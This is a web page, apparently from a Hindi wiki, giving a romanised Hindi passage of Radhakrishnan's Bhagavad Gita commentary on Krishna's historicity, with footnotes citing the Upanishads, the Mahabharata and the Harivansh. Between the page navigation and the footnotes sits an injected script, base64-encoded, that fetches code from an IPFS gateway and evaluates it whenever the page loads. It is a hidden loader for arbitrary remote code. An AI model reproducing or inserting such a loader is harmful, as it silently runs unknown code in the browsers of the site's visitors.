भगवद्गीता -राधाकृष्णन भाग-16
jahaan tak bhagavadgita ki shiksha ka prashn hai, is bat ka koee mahattv nahian hai ki isaka upadesh dene vala krishna koee aitihasik vyakti hai ya nahian. mahattvapoorn bat bhagavanh ka sanatan avatar hai, jo is vishv mean aur manushy ki atma mean poorn aur divy jivan ko lane ki shashvat prakriya hai.
parantu krishna ki aitihasikata ke paksh mean bahut kafi praman vidyaman haian. chhandogy upanishadh mean devaki putr krishna ka ullekh hai aur use ghor aangiras[1] ka shishy bataya gaya hai. ghor aangiras, kaushitaki brahman[2] ke anusar, soory ka pujari tha. balidan ke arth ki vyakhya karane aur yah batane ke bad, ki purohitoan ke lie sachchi dakshina tap, dan, eemanadari, ahiansa aur saty bhashan adi sadgunoan ka abhyas hi hai,[3]is upanishadh mean kaha gaya hai ki “jab ghor aangiras ne yah bat devaki putr krishna ko samajhaee to usane yah bhi kaha ki antim samay mean manushy ko in tin vicharoan ki sharan leni chahieah ‘too avinashvar (akshat) hai; too avichal (achyut) hai; too sare jivan ka sar (pran) hai.”[4]is upanishadh mean ghor aangiras ki shikshaoan aur gitoan mean krishna ki shikshaoan mean paraspar bahut adhik samanata hai. krishna ka mahabharat ki katha mean bhi bahut mahattvapoorn sthan hai, jahaan use arjun ke mitr ke roop mean prastut kiya gaya hai. panini ne vasudev aur arjun ko pooja ka patr batalaya hai. [5]krishna prachin yaduvansh ki vrishni ya satvat shakha mean utpann hua tha.
is vansh ka sthan sambhavatah mathura ke as pas kahian tha. mathura ka nam itihas-parampara aur gatha mean krishna ke nam ke sath ju da hua hai. krishna vaidik dharm ke yajakavad ka virodhi tha aur un siddhantoan ka prachar karata tha, jo usane ghor aangiras se sikhe the. vaidik pooja-paddhati se usaka virodh un sthanoan mean pratyaksh dikhaee p data hai, jahaan indr parajit hone ke bad krishna ke sammukh jhuk jata hai.[6]gita mean un logoan ka bhi ullekh hai, jo krishna ki shikshaoan ke sambandh mean shikayat karate haian aur krishna par ashraddha karate haian.[7]mahabharat mean aise sanket haian, jinase pata chalata hai ki krishna ki sarvochchata bina use chunauti die svikar nahian ki gee thi. mahabharat mean krishna ko ek aitihasik vyakti[8] aur bhagavanh ka avatar, donoan hi roopoan mean prastut kiya gaya haian. krishna ne satvatoan ko soory ki pooja karana sikhaya tha aur sambhavatah satvatoan ne apane guroo krishna ko us soory ke sath ekaroop man liya, jisaki pooza usane unhean sikhaee thi.[9]eesavi-poorv chauthi shatabdi tak vasudev ki pooja-paddhati bhali bhaanti sthapit ho chuki thi. bauddh granth ‘niddes’ (eesavi-poorv chauthi shatabdi) mean jo ki pali siddhant-granthoan mean sammilit kiya gaya hai, lekhak ne any sampradayoan ke sath-sath vasudev aur baladev ke upasakoan ka ullekh kiya hai.
| « pichhe | age » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 3, 17, 6
- ↑ 30, 6
- ↑ tapo danamh arjavamh ahiansa satyavachanamh. dekhie bhagavadgita, 16, 1-3
- ↑ bhagavadgita se tulana kijie; 8, 11-13. sambhavatah usane rrigved ke athavean mandal ke chaihattaravean sookt ki rachana ki thi, kyoanki use kaushitaki brahman mean krishna aangiras kaha gaya hai. 30, 9
- ↑ 4, 3, 98
- ↑ “maian devataoan ka indr hooan, parantu tumhean gauoan ke oopar indr ki shakti prapt ho gee haian. govind ke roop mean manushy sada tumhari stuti karate raheange.” harivansh, 4004
- ↑ 3, 32; 9, 11; 18, 67
- ↑ krishna ke baly-jivan ki kahani gathaoan aur kalpanaoan ke sath mili-juli bhagavat aur harivansh puran mean prapt hoti hai.
- ↑ bhagavat ke anusar satvat log bhagavanh aur vasudev ke roop mean pooja karate haian. 9, 9, 50. yamunachary ne apane granth ‘agamapramany’ mean kaha hai ki jo log atma ki pavitrata ke sath bhagavanh ki pooja karate haian, ve bhagavat aur sattvat kahalate haian. sattvadh bhagavanh bhajyate yaiah parah pumanh te satvata bhagavata ityuchyante dvijottamaiah.
sanbandhit lekh
-